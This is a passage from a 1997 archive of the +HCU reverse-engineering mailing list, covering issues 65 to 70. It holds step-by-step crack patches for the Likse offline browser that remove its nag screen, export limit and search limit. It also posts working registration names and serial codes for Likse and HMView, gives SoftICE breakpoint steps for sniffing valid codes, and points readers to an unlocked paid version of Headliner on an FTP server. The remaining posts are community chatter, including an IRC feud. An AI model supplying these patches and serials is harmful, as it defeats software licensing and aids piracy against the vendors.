  980. So the quest is still up: Can somebody provide a working key
  981. (even obtained from the author) to unlock this version? :)
  982. I still think the author just gave up this registration thing
  983. all together. Anyway, i worked on the program yesterday and
  984. here is the fix.
  985.  
  986. Elimination of the nag screen:
  987.  
  988. :00455FC3  call 00455B30  /This rutin checks the key
  989. :00455FC8  mov ebx, eax
  990. :00455FCA  test ebx, ebx
  991. :00455FCC  jl 00456126    /Nuke this jump
  992.  
  993. This patch makes the program belive it has a valid
  994. REGNAME and REGID key in the [APPINFO] section of
  995. the Lkaccess.ini file even when there is no such
  996. section at all. (you can make it if you want with
  997. your name. :)
  998.  
  999. Elimination of the 50 line limit from the export text
  1000. function: Piece of cake!
  1001.  
  1002. :0045E73C cmp si, 0032
  1003. :0045E740 jbe 0045E746  /Nuke this with NOP, INC ESI
  1004. :0045E742 mov si, 0032  / NOP, INC ESI, NOP, NOP
  1005. :0045E746 test si, si
  1006.  
  1007. We have to increment ESI by 2 otherwise the last two
  1008. line of the htm file is not purged from the html tags.
  1009. (Maybe a bug? Who knows? We fix it anyway :)
  1010.  
  1011. The program writes at the begining of every
  1012. output text file that only the first 50 lines are
  1013. converted. This should be left out when it writes
  1014. the text to the file (tempfile.txt). One way to
  1015. do this is to jump over all the rutins which puts
  1016. the bad guy text to the output buffer. This can
  1017. be achived by inseting a JUMP 45E730 instruction
  1018. at position 45E6F0. The only inconvenience is
  1019. that the name of the file we convert is inserted
  1020. at the begining of the output file.
  1021.  
  1022. Elimination of the max 5 displayed search result
  1023. limit:
  1024.  
  1025. The value 5 is at [464A90] and checked here:
  1026.  
  1027. :004600A6 cmp bx, word ptr [00464A90]
  1028. :004600AD jbe 004600B6  /make this  to JMP
  1029. :004600AF mov bx, word ptr [00464A90]
  1030.  
  1031. There is also some text that only five results
  1032. are displayed which is not true anymore :)
  1033. So lets get rid of it by inserting a
  1034. JMP 460080 to position 45FFC9 which just
  1035. jumps all over the bad guy string construction
  1036. rutins.
  1037.  
  1038. With this modifications the program is fully
  1039. functional. On the other hand if somebody
  1040. knows a better offline browser (I think
  1041. Rezident said he has one) please let me
  1042. know.
  1043.  
  1044. Thanks Zer0+
  1045.  
  1046. =====End of Issue 65====================================
  1047.  
  1048.  
  1049.  
  1050.  
  1051.  
  1052. ========================================================
  1053. +HCU Maillist          Issue: 66              11/22/1997
  1054. --------------------------------------------------------
  1055. Send Articles To:......................... *************
  1056. Info, Help, Unsubscription, etc:....... ****************
  1057. ========================================================
  1058.  
  1059. CONTENTS:
  1060.  
  1061. #1  Subject: frmspy
  1062.  
  1063. ARTICLES:
  1064.  
  1065. -----#1-------------------------------------------------
  1066. Subject: frmspy
  1067.  
  1068. Hi All!
  1069.  
  1070. I've used the FTP site +gthorne offered (thanks, +gthorne! :)) to
  1071. upload my little tool frmspy. If he doesn't decide to move it around:
  1072.  
  1073.  ***************************************************
  1074.  
  1075. The filename is frmspy.zip ~137kb.
  1076.  
  1077. Notes:=20
  1078.  
  1079. The code is taken from a more complete utility for Delphi programmers
  1080. that some friends are working on.=20
  1081. The complete tool is still under developement. When done, I'll post
  1082. the address of the Delphi programming page where it's going to be
  1083. published.
  1084.  
  1085. I've limited the funcionality to just the interesting part (for us).
  1086. Other limitations come from the fact that it's incomplete O:)
  1087.  
  1088. -It's a 32 bits app.=20
  1089. -Only works with 32 bits exes (Delphi 2+ and BC++Builder). If you try
  1090. to load a 16 bits program, it'll complain -"Not a PE file".
  1091. -Some RCDATA resources might not be forms. In this case an "Incorrect
  1092. format" message appears.=20
  1093.  
  1094. Tip: It can also manage DLLs. Be aware that, for Delphi3 programs,
  1095. it's possible to find some DLLs with a different file extensions
  1096. (maybe DPL).
  1097.  
  1098. ------------------
  1099. +ZERO, where did you download Likse?
  1100.  
  1101.  
  1102. greetings
  1103.  
  1104.     +trurl
  1105.  
  1106. =====End of Issue 66====================================
  1107.  
  1108.  
  1109.  
  1110. =====Sorry, no #67 available!===========================
  1111.  
  1112.  
  1113.  
  1114. ========================================================
  1115. +HCU Maillist          Issue: 68              11/24/1997
  1116. --------------------------------------------------------
  1117. Send Articles To:......................... *************
  1118. Info, Help, Unsubscription, etc:....... ****************
  1119. ========================================================
  1120.  
  1121. CONTENTS:
  1122.  
  1123. #1  Subject: Re: frmspy and IRC war
  1124.  
  1125. #2  Subject: Attn AZ111
  1126.  
  1127. #3  Subject: An alternative to Likse
  1128.  
  1129. #4  Subject: Likse
  1130.  
  1131. #5  Subject: stupidest protection of all times
  1132.  
  1133. ARTICLES:
  1134.  
  1135. -----#1-------------------------------------------------
  1136. Subject: Re: frmspy and IRC war
  1137.  
  1138. > 
  1139. > I've used the FTP site +gthorne offered (thanks, +gthorne! :)) to
  1140. > upload my little tool frmspy. If he doesn't decide to move it around:
  1141. > 
  1142. >  ***************************************************
  1143. > 
  1144. > The filename is frmspy.zip ~137kb.
  1145. > 
  1146. ....
  1147. >     +trurl
  1148. > 
  1149.  
  1150. You are welcome :)
  1151.  
  1152. notice also that the directories above contain the full install of 
  1153. tasm 5 (and of course the full ida that i just like having around) - and 
  1154. hopefully more in the future
  1155.  
  1156. Feel free to make any subdirectories in the incoming directory, if 
  1157. they are intelligently named, i may just keep the same dir names and 
  1158. move them upward to the main .cracking tree
  1159.  
  1160. I will be gone for a week (holiday and such)
  1161. so I wont be able to look out for hundred meg overloaded uploads (eek!)
  1162.  
  1163. On a separate note, many of you have noticed that rIDDLER has banned 
  1164. me from #cracking (as well as resorting to irc attack programs to lock 
  1165. up my pc on occasion, and regularly knock me offline)
  1166. He is also on as Jami Quai
  1167.  
  1168. It happened because one day he was bashing Fravia, Me and +ORC (again 
  1169. - I hear it has happened on occasion before) and he asked me my 
  1170. opinion on tutorials. I told him they were an important part of the 
  1171. learning process... examples in texts have for thousands of years been 
  1172. an invaluable resource in schools. Where would we be without the 
  1173. written word? Dark ages I tell you.
  1174.  
  1175. Apparently he didn't like the fact that I wasn't going to lose easily 
  1176. my argument because it was different from his.
  1177.  
  1178. I feel it is a shame that someone I had once respected has to resort 
  1179. to childish bully tactics to enforce an opinion, rather than have 
  1180. healthy opinion diffences like we all do from time to time.
  1181.  
  1182. I just thought I would let you know before it trickled down the 
  1183. grapevine. It is easier answering many questions pro-actively rather 
  1184. than re-explaining it each time someone finds out.
  1185.  
  1186. Take care all, I have a week of holiday planned where I can leave 
  1187. these minor irritations behind. See you when I get back.
  1188.  
  1189. +gthorne
  1190.  
  1191. /*****************************************************\
  1192.  
  1193.            Greythorne The Technomancer
  1194.  
  1195.   WebSite: *******************************
  1196.    (AKA:)  ************************************
  1197.    (IP:)   ****************************
  1198.   Gateway: *************************************
  1199.   Old Mirror: ****************************** 
  1200.   FTP1:    ******************************************
  1201.   FTP2:    *******************************************
  1202.  
  1203. \*****************************************************/
  1204.  
  1205.  
  1206. -----#2-------------------------------------------------
  1207. Subject: Attn AZ111
  1208.  
  1209. Regarding truetype fonts
  1210. ------------------------
  1211.  
  1212.  
  1213. Documentation of the .ttf format can be obtained from
  1214. ********************************************************
  1215.  
  1216. For all file format questions, I have found Wotsits File Format at
  1217. ******************************
  1218. to be an excellent resource.
  1219.  
  1220. Regarding the CreateFont functions...
  1221. CreateFont defines a "logical font structure" on-the-fly, while 
  1222. CreateFontIndirect relies on a pre-maed font structure (i.e., a 
  1223. resource).
  1224. GetFontData obtains Font Data (presumably a "logical font structure", 
  1225. though one can never be sure with M$oft) from an existing .ttf font.
  1226.  
  1227. The Enum functions obtain data about a font (per the .ttf file format, 
  1228. presumably a "logical font structure", again) and pass it to a function.
  1229.  
  1230. Further information can be obtained from the win32 API ref--if you do 
  1231. not have it, get a real compiler ;) or go to
  1232. ****************************************************************
  1233.  
  1234. and choose link #3.
  1235.  
  1236. Note that appilcations use a variety of ways to obtain fonts, including 
  1237. GetStockObject()--commonly used in everything but word processors (has 
  1238. courier, system, and Times New Roman avail).
  1239.  
  1240. _m
  1241.  
  1242. ______________________________________________________
  1243. Get Your Private, Free Email at **********************
  1244.  
  1245. -----#3-------------------------------------------------
  1246. Subject: An alternative to Likse
  1247.  
  1248. Hello +Zer0,
  1249.  
  1250. > I worked on the Likse which I have downloaded from the
  1251. > ************* Likse download page. The link was called
  1252. > server2 and pointed to
  1253. > ******************************************************
  1254.  
  1255.  The offline browser I found (the one I liked best) is called 'HMView
  1256. 1.0' - I can't remember where I found it bu if you search you'll
  1257. probably find it easily enough. I made a serial number for it:
  1258.  
  1259. Name: User 
  1260. Company: None 
  1261. Code: NBPFQSLIQQWO    
  1262.  
  1263. Cya,
  1264. +ReZiDeNt
  1265.  
  1266. -----#4-------------------------------------------------
  1267. Subject: Likse
  1268.  
  1269. Likse about
  1270. i've tried the previous submited nfo on reg about this app
  1271. was:
  1272. ********************
  1273. NAME:CKL!1997
  1274. SN:2909679-2590 SINGLE LIC
  1275. SN:2909679-159  SITE LIC
  1276. SN:2909679-4694 ROYALTY FREE
  1277. SN:2909679-4210 LICENSE
  1278.  
  1279. the LICENSE worked fine,but if work'nt for you,it's a system dependant
  1280. tool,anyway after the valid reg (without any patch) the 
  1281. lkacess.ini:
  1282. [APPINFO]
  1283. REGNAME=CKL!1997
  1284. REGID=2909679-4210
  1285.  
  1286. [Advance]
  1287. All_Enabled=1
  1288.  
  1289. I've no time to look further where the possible check of machine license
  1290. is but the :name:CKL!1997 / SN=:2909679-4210 LICENSE
  1291. worked fine on the gived links of previous issue.
  1292.  
  1293. -----#5-------------------------------------------------
  1294. Subject: stupidest protection of all times
  1295.  
  1296. now hear this.....
  1297.  
  1298.  
  1299.  
  1300. there is an excellent program called HEADLINER, which retrieves the
  1301.  
  1302. headlines of ANY newspaper/magazine webpage you specify and shows it on
  1303.  
  1304. your screen as a ticker of any size, even a small one in the title bar
  1305.  
  1306. of the active windows.
  1307.  
  1308.  
  1309.  
  1310. the free version is at ******************************************
  1311.  
  1312.  
  1313.  
  1314. the only limitation is that you can only get the news from the webpages
  1315.  
  1316. they set in memory.
  1317.  
  1318.  
  1319.  
  1320. However, they left on that ftp the PRO version completely unlocked!
  1321.  
  1322. (and some other proggies which I am d/loading right now to see what they
  1323.  
  1324. are) - in the pro version, you can specify virtually ANY web page and
  1325. get it's 'headlines' (including Fravia's...)
  1326.  
  1327.  
  1328.  
  1329. So, if you want to grab your free version of headliner pro, just FTP
  1330.  
  1331. to ***************************** - but there's a twitch: you can't get
  1332.  
  1333. the list of the files in the directory by using a normal ftp client,
  1334. only w/ Netscape or with a unix shell.
  1335.  
  1336.  
  1337.  
  1338. Isn't that awfully stupid?
  1339.  
  1340.  
  1341.  
  1342. Anyway, the program is excellent - no ADS (like Pointcast and other
  1343.  
  1344. newstickers), does not create a ticker reducing your desktop space, but
  1345.  
  1346. uses the TITLE BAR of your open windows (there is a ticker and
  1347.  
  1348. screensaver option, if you really want them).
  1349.  
  1350.  
  1351.  
  1352. So have fun.....
  1353.  
  1354.  
  1355.  
  1356. WAFNA of FCA
  1357.  
  1358. =====End of Issue 68====================================
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364. ========================================================
  1365. +HCU Maillist          Issue: 69              11/25/1997
  1366. --------------------------------------------------------
  1367. Send Articles To:......................... *************
  1368. Info, Help, Unsubscription, etc:....... ****************
  1369. ========================================================
  1370.  
  1371. CONTENTS:
  1372.  
  1373. #1  Subject: IRC wars, sad lack of respect for the importance of tutorials :-
  1374.  
  1375. ARTICLES:
  1376.  
  1377. -----#1-------------------------------------------------
  1378. Subject: IRC wars, sad lack of respect for the importance of tutorials :-
  1379.  
  1380. Hi +gthorne,
  1381.  
  1382. > I feel it is a shame that someone I had once respected has to resort
  1383. > to childish bully tactics to enforce an opinion, rather than have
  1384. > healthy opinion diffences like we all do from time to time.
  1385.  
  1386.  I agree with you 100%!!!! Actually, I avoid IRC for this reason (I
  1387. find it often degenerates into 'war') - but without cracking tutorials
  1388. most of us would have no way of learning about this subject! 
  1389.  
  1390. Keep up the good work!
  1391. +ReZiDeNt
  1392.  
  1393. =====End of Issue 69====================================
  1394.  
  1395.  
  1396.  
  1397.  
  1398.  
  1399. ========================================================
  1400. +HCU Maillist          Issue: 70              11/26/1997
  1401. --------------------------------------------------------
  1402. Send Articles To:......................... *************
  1403. Info, Help, Unsubscription, etc:....... ****************
  1404. ========================================================
  1405.  
  1406. CONTENTS:
  1407.  
  1408. #1  Subject: Re: Likse again
  1409.  
  1410. #2  Subject: Newer but still simple.
  1411.  
  1412. #3  Subject: (not quite cracking)
  1413.  
  1414. #4  Subject: New main site
  1415.  
  1416. #5  Subject: Newer but still simple
  1417.  
  1418. ARTICLES:
  1419.  
  1420. -----#1-------------------------------------------------
  1421. Subject: Re: Likse again
  1422.  
  1423. Hi!
  1424.  
  1425. >the LICENSE worked fine,but if work'nt for you,it's a system dependant
  1426. >tool,anyway after the valid reg (without any patch) the 
  1427. >lkacess.ini:
  1428. >[APPINFO]
  1429. >REGNAME=CKL!1997
  1430. >REGID=2909679-4210
  1431. >
  1432. >[Advance]
  1433. >All_Enabled=1
  1434.  
  1435. Yes it does these things for me too, but the 50 line limit
  1436. of text exporting and the limit of displaying only 5 hits
  1437. in the search remains.
  1438.  
  1439. >I've no time to look further where the possible check of machine license
  1440. >is but the :name:CKL!1997 / SN=:2909679-4210 LICENSE
  1441. >worked fine on the gived links of previous issue.
  1442.  
  1443. When did you downloaded your program from that web site?
  1444. Or if its not a problem for you, you can send your
  1445. version as an email attachment to the **********************
  1446. I can check it out. If you dont want to do that
  1447. (having a slow modem etc.) than just let's drop the whole issue
  1448. this program is overcracked anyway :)
  1449.  
  1450. bye Zer0+
  1451.  
  1452.  
  1453.  
  1454. -----#2-------------------------------------------------
  1455. Subject: Newer but still simple.
  1456.  
  1457. Hail +ReZideNt:
  1458.  
  1459. Checked for HMView.  Found one at **************** by Bersoft called
  1460. HMView v1.52 zipped sized 537,900 bytes.  Must be an update since it
  1461. used the same 12 digit size regcode.
  1462.  
  1463. Name: User 
  1464. Company:   <-- Leave Company Info Blank
  1465. Code:  OAPLLXTOPQWO
  1466.  
  1467. If you use Softice, BPX on Hmemcpy and F12 back to program code area
  1468. xxxx:00455686, then if you D on xxxx:00D42800 you will see the user
  1469. name, bogus number and the echo.  One of those self cracking program
  1470. but good in that in installs under 500K with very few files.  It writes
  1471. the registration to an ini file so you can erase and reinstall if you
  1472. need the practice.  Like the simplicity.  Thanks.
  1473.  
  1474. wlc
  1475.  
  1476. -----#3-------------------------------------------------
  1477. Subject: (not quite cracking)
  1478.  
  1479. The next stage of the browser wars...
  1480.  
  1481.  
  1482. Manufacturers such as Compaq, Acer, and HP are going to be providing 
  1483. their "own" browsers with PCs; these browsers will be the default 
  1484. browser (though MSIE and/or Netscape may be bundled with the computr as 
  1485. well) and will deliver for your viewing pleasure a banner ad at the  
  1486. bottom of the browser that will change every thirty seconds (hmm, just 
  1487. like TV commercials). Supposedly the ad will be "always on top", and 
  1488. cannot be turned off by the user.
  1489.  
  1490. Micro$oft has no problem with this as the browsers will be based on 
  1491. Explorer and Active X (kind of like "Brand X") technology...essentially 
  1492. allowing M$oft to entrench its internet technology as a standard at the 
  1493. small price of brand recognition: in these new browsers the MS or IE 
  1494. logo will not be apparent.
  1495.  
  1496. I'm sure none of you buy pre-made computers such as Dells or (horror!) 
  1497. Compaq, but keep an eye out for the "evolution" of browsers towards 
  1498. becoming the foundation for the next-generation television--we may be 
  1499. cracking ads as well as protection schemes in a few years...
  1500.  
  1501. _m
  1502.  
  1503. PS full story at
  1504. **********************************************************************
  1505. --source is Advertising Age, a newspaper I highly recommend for finding 
  1506. out what they plan to do to you before they do it...be sure to cut your 
  1507. doses heavily with material from ****************** or you may become 
  1508. one of them.... ;)
  1509.  
  1510. ______________________________________________________
  1511. Get Your Private, Free Email at **********************
  1512.  
  1513. -----#4-------------------------------------------------
  1514. Subject: New main site
  1515.  
  1516. I had to move, the situation was getting unbearable
  1517. every broken link and every server breakdown was 
  1518. landing everybody on a smut search engine.
  1519.  
  1520. Ironical fate for my very own main page :-)
  1521.  
  1522. You may want to update your links.
  1523. Old main page will be frozen from now on
  1524. Here is the snippet I have prepared for usenet,
  1525. some of my visitors will surely publish it in the next days.
  1526.  
  1527. <prE>--------------------------------------------------- 
  1528. Fravia's page of reverse engineering has moved from  
  1529. <a
  1530. ***************************************************************************
  1531. ravia.htm</A> (now frozen)
  1532.                        to 
  1533.         <a ********************************************** (now working) 
  1534.  
  1535.              New in the essays section:
  1536.       Cracking for dummies - IDA pro cracking
  1537.            Corel/Elan protection cracking 
  1538.               Object Oriented Cracking 
  1539.                Visual Basic reversing
  1540.        New in the "Websites busting" section: 
  1541.                      general.htm
  1542.  
  1543.                Please update your links
  1544. ---------------------------------------------------</prE>
  1545.  
  1546. New main page should work fine as soon as some feedback 
  1547. shows me the broken links. You may help as well if you feel like it.
  1548. I tell you what I will do:
  1549. RETALIATE! 
  1550. Read ideale.htm and exspecially general.htm and be prepared for some 
  1551. fireworks!
  1552.  I'll work on this stuff for the next couple of months.
  1553. There is a lot to learn.
  1554. There are many enemy to destroy, not only smutters.
  1555.  
  1556. A very crossed fravia+
  1557.  
  1558. -----#5-------------------------------------------------
  1559. Subject: Newer but still simple
  1560.  
  1561. Hail +ReZideNt:
  1562.  
  1563. Checked for HMView.  Found one at **************** by Bersoft called
  1564. HMView v1.52 zipped sized 537,900 bytes.  Must be an update since it
  1565. used the same 12 digit size regcode.  Seem to use a similar dll library
  1566. as to Liske 32 and wipes out data area after checking.  Had to close
  1567. down program and restart to enter info properly.
  1568.  
  1569. Name: User 
  1570. Company:   <-- Leave Company Info Blank
  1571. Code:  OAPLLXTOPQWO
  1572.  
  1573. If you use Softice, BPX on Hmemcpy and F12 back to program code area
  1574. xxxx:00455686, then if you D on xxxx:00D42800 you will see the user
  1575. name, bogus number and the echo.  One of those self cracking program
  1576. but good in that in installs with very few files.  It writes the 
  1577. registration to an ini file so you can erase and reinstall if you
  1578. need the practice.  I like the simplicity.  Will compare it with with 
  1579. Liske.  Thanks.
  1580.  
  1581. wlc
  1582.  
  1583. =====End of Issue 70====================================
  1584.